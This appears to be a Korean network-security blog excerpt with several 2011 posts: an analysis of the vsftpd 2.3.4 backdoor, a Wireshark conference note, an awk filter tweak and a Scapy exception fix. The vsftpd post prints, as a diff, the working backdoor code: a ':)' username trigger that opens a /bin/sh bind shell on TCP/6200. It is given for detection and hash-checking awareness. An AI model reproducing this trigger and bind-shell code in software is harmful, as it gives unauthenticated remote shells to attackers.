P.S 처음 받아서 실행해 보면, 출력이 제대로 되지 않아 살펴보았다. fil 필터를 열어보면 다음과 같은 시작부분에서 startip 를 0 에서 1로 변경하였다. 그냥 실행시 제대로 정보가 출력되지 않아, 프로토콜 번호를 찍어보니 엉뚱한 것이 찍히고 있었고, 코드를 확인결과 startip 만 살짝 바꾸면 위와 같이 출력이 된다.


BEGIN {
        BIGENDIAN = 0
        margin="   "
        startip=1
        FS = " "
}

2011년 7월 11일 월요일

오픈소스 FTP 서버 Vsftpd 에서 발견된 백도어

얼마전 알려진 Vsftpd 의 백도어에 대해서 잠깐 이야기 해보고자 한다. Vsftpd 는 빠르고, 안전한 FTP 서버 라는 이름으로 개발되어 지고 있는 오픈소스이다. 그런데, 이 FTP 서버 프로그램에 백도어가 있는 사실이 알려졌다. 누군가가 백도어를 만든 소스코드를 원본 배포 사이트에서 바꿔치기를 한 것이다.

문제가 된 파일은 2.3.4 버전으로 SHA256SUM 값은 아래와 같다. 만약 이 값 이라면 해당 파일은 백도어가 있는 파일이다.

2a4bb16562e0d594c37b4dd3b426cb012aa8457151d4718a5abd226cef9be3a5 vsftpd-2.3.4.tar.gz

약 하루반에서 이틀 정도 배포가 이뤄진 것으로 추정되는데, 7월 초 vsftpd 소스파일을 받은 사용자가 있다면 한번쯤, 의심해 보는 것이 좋겠다.  문제가 되는 소스 파일을 잠깐 들여다 보면,
0x3a,0x29 값이 보인다. 이 값은 ASCII 로 => ':)' 이다. 즉,  :) 가 인자로 입력되면 vsf_sysutil_extra() 가 호출된다.

diff -ur vsftpd-2.3.4/str.c vsftpd-2.3.4.4players/str.c
--- vsftpd-2.3.4/str.c 2011-06-30 15:52:38.000000000 +0200
+++ vsftpd-2.3.4.4players/str.c 2008-12-17 06:54:16.000000000 +0100
@@ -569,11 +569,6 @@
     {
       return 1;
     }
-    else if((p_str->p_buf[i]==0x3a)
-    && (p_str->p_buf[i+1]==0x29))
-    {
-      vsf_sysutil_extra();
-    }
   }
   return 0;
 }

이  vsf_sysutil_extra() 는 sysdeputil.c 에 기술되어 있는데, TCP/6200 번 포트를 리스닝 하게 되어 있고, 접속시 /bin/sh 인 쉘을 실행한다.

diff -ur vsftpd-2.3.4/sysdeputil.c vsftpd-2.3.4.4players/sysdeputil.c
--- vsftpd-2.3.4/sysdeputil.c 2011-06-30 15:58:00.000000000 +0200
+++ vsftpd-2.3.4.4players/sysdeputil.c 2010-03-26 04:25:33.000000000 +0100
@@ -34,10 +34,7 @@
 /* For FreeBSD */
 #include <sys/param.h>
 #include <sys/uio.h>
-#include <netinet/in.h>
-#include <netdb.h>
-#include <string.h>
-#include <stdlib.h>
+
 #include <sys/prctl.h>
 #include <signal.h>

@@ -220,7 +217,7 @@
 static int s_proctitle_inited = 0;
 static char* s_p_proctitle = 0;
 #endif
-int vsf_sysutil_extra();
+
 #ifndef VSF_SYSDEP_HAVE_MAP_ANON
 #include <sys/types.h>
 #include <sys/stat.h>
@@ -843,30 +840,6 @@
   }
 }

-int
-vsf_sysutil_extra(void)
-{
-  int fd, rfd;
-  struct sockaddr_in sa;
-  if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
-  exit(1);
-  memset(&sa, 0, sizeof(sa));
-  sa.sin_family = AF_INET;
-  sa.sin_port = htons(6200);
-  sa.sin_addr.s_addr = INADDR_ANY;
-  if((bind(fd,(struct sockaddr *)&sa,
-  sizeof(struct sockaddr))) < 0) exit(1);
-  if((listen(fd, 100)) == -1) exit(1);
-  for(;;)
-  {
-    rfd = accept(fd, 0, 0);
-    close(0); close(1); close(2);
-    dup2(rfd, 0); dup2(rfd, 1); dup2(rfd, 2);
-    execl("/bin/sh","sh",(char *)0);
-  }
-}
-
-
6200 번 포트에 대해서 SANS 에서 조회해 보면 7월5일 급격하게 증가된것을 볼 수 있다. 7월6일이 가장 큰 Peak 를 기록하다 7일날에는 많이 떨어졌다.

http://isc.sans.org/port.html?port=6200

여러분이 패킷 관찰 중, TCP/6200 번이 보인다면 관심을 가져보아야 할 것이다. 물론, 이것은 잠시동안 배포된 소스파일상의 백도어 였고, 이미 어느정도 알려져서 문제가 지속될 것으로는 보이지는 않는다. 다만, 이번 사건을 계기로 오픈소스 코드를 다운로드 받을 때는 한번 해쉬값을 체크해 보고 사용하는 것이 좋은 습관이다.

일단, 지금은 TCP/6200 번이 Vsftpd 의 백도어 포트로 사용되었다는 것은 알려진 사실이다. 그런데, 만약 이런 것이 알려져 있지 않고 내부에서 계속 사용해왔다면 어땠을까? 여러분이 네트워크 행동을 관찰하고 있다가, 평소에 보이지 않았던 6200 번 포트가 발생하였다는 것을 감지할 수 있었을까?  네트워크 규모가 큰 곳이라면 사실 탐지가 힘들 수도 있을 것이다. 워낙에 다양한 이벤트가 많고, 그 데이터 또한 너무나 크기 때문이다. 결국 사람의 눈으로는 발견해 내는 것이 쉽지 않고, 어떤 자동화된 탐지도구들이 필요로 해지는 것이다.

하지만, 자동화된 분석 도구라고 해서 다 감지할 수 있는 것도 아니고, 관리자 입장에서는 참으로 힘든일이다.  그렇지만 현재의 네트워크 Activity 를 가장 잘 알고 있는 사람이 여러분들 일 것이다. 네트워크를 가장 잘 알고 있기 때문에 평소에 발생되지 않았던 포트와 같은 상황들을 잘 알고 있다.  이 뜻은 네트워크 보안 정책을 보다 정확하게 설정할 수 있다는 뜻도 된다.  필요한 포트들만 오픈되고, 특정 IP 로만 한정되고, 어떻게 네트워크 보안 정책을 수립해야 하는지 말이다.

네트워크 규모가 커지고, 복잡해 짐에 따라 방화벽이나 기타 네트워크 장비들의 설정도 복잡해 지고 있다. 이런 복잡함이 가져오는 잘못된 정책들도 더러 발생하고 있고, 분명 간단한 정책보다는 복잡한 설정이 가져오는 Risk 는 있을 수 있다.  아~~ 잠시 백도어 이야기를 하다 보니  글이 살짝 다른 방향으로 빠지고 있는데, 이 이야기는 나중에 한번 다시 해볼까 한다.

어찌되었든 이런 백도어가 이번이 처음은 아닌데, 만약 백도어가 있을때 과연 네트워크 관점에서 탐지해 낼 수 있는 시스템, 분석 관점에서 대비가 되어 있느냐에 대해서 생각해 보게 만들어 함께 공유해 보고자 하였다.

[참고]
1. Vsftpd 사이트
http://vsftpd.beasts.org
2. 백도어 파일과 정상파일 비교
http://pastebin.com/AetT9sS5

2011년 7월 6일 수요일

와이어샤크 컨퍼런스 2011 발표자료

일전에 한번 소개한 것과 같이 6월13-16 일 와이어샤크 개발자, 사용자 컨퍼런스가 스탠포드 대학에서 열렸다.
한번 참석해 보고 싶은 컨퍼런스 이긴 하나, 미국에서 열리니 참석하는게 쉽지는 않다. 그래도 다행인 것은 이 컨퍼런스 후에, 발표자료등이 공개 되어 참으로 유용하다.

자료는 다음 경로에서 받을 수 있다.

http://sharkfest.wireshark.org/sharkfest.11/index.html

패킷분석이 관심이 있는 사용자라면 관심 주제에 대해서 한번 살펴보면 도움이 될 것이다.
앞으로 내가 여러분들과 함께 공유하고 소개하고 싶은 내용도 많이 있는데,
차차 패킷과 관련한 주제로 여러분들과 함게 하겠다.

2011년 7월 2일 토요일

Scapy 사용중 발생하는 Scapy_Exception 오류

Scapy 를 사용하다, Exception 이 발생하였는데 이상하게도 발생된 Scapy_Exception 이
정의되어 있지 않다는 다음과 같은 메시지가 나타났다.

  File "/usr/local/lib/python2.7/site-packages/scapy/utils.py", line 472, in rdpcap
    return PcapReader(filename).read_all(count=count)
  File "/usr/local/lib/python2.7/site-packages/scapy/utils.py", line 563, in __init__
    RawPcapReader.__init__(self, filename)
  File "/usr/local/lib/python2.7/site-packages/scapy/utils.py", line 492, in __init__
    raise Scapy_Exception("Not a pcap capture file (bad magic)")
NameError: global name 'Scapy_Exception' is not defined

Pcap 파일이 아니라 Exception 을 발생시키려 하였는데, 정의되어 있지 않은 것이다.
이와 관련 검색해 보니 버그로 등록되어 있었고, 일단 필자는 다음과 같이 간단히
해결하였다.

문제가 발생한 utils.py 를 열고 발생된 라인 지점을 보면 다음과 같다.
앞서 블로그에서 설명한 몇 가지 것들을 볼 수 있는데, 일단 PCAP 파일의 Magic
넘버에 대해서 설명한 적이 있고, big or little endian 안에 대해 언급한 적이 있다.

[참고]
1) 리틀엔디안(Little-endian)과 빅엔디안(Big-endian)이해하기
2) PCAP 파일을 파헤쳐 보자 - 그 첫번째 이야기


코드를 보면 magic 넘버를 비교하여 이와 맞지 않으면 Scapy_Exception 을 발생시킨다.

        if magic == "\xa1\xb2\xc3\xd4": #big endian
            self.endian = ">"
        elif  magic == "\xd4\xc3\xb2\xa1": #little endian
            self.endian = "<"
        else:
            raise Scapy_Exception("Not a pcap capture file (bad magic)")
        hdr = self.f.read(20)
        if len(hdr)<20:
            raise Scapy_Exception("Invalid pcap file (too short)")
        vermaj,vermin,tz,sig,snaplen,linktype = struct.unpack(self.endian+"HHIIII",hdr)

그런데 이 Scapey_Exception 정의가 utils.py 에 정의되어 있지 않은 것이다. utils.py 에서
아래와 같이 시작줄에서 로드해 주면 된다.

from error import Scapy_Exception,log_runtime,log_loading,log_interactive

그리고 다시 실행해 보면 이제는 이전과 다른 메시지가 나타난다.

  File "/usr/local/lib/python2.7/site-packages/scapy/utils.py", line 493, in __init__
    raise Scapy_Exception("Not a pcap capture file (bad magic)")
Scapy_Exception: Not a pcap capture file (bad magic)

즉, 정상적으로 처리된 것이다. 이제는, 사용하는 프로그램에서 해당 Exception 이
발생할 경우 어떻게 처리할 것인지만 정의해 주면, 에러없이 깔끔하게 사용이 가능하다.

가끔, 오픈 소스들을 사용하다보면 예기치 않은 문제가 발생하곤 한다. 이런 문제가
해결될때까지 기다리는 방법도 있지만, 간단한 것은 본인 스스로 직접 해결해 보려고
노력하면 해당 프로그램을 이해하는데도 좋고, 스킬업 하는데 도움이 될 것이다.

P.S 참고로 사용했던 버전은 2.1.0 이며, 최근 버전에는 이 부분이 해결되었는지 확인해 보지 못했다.

/Rigel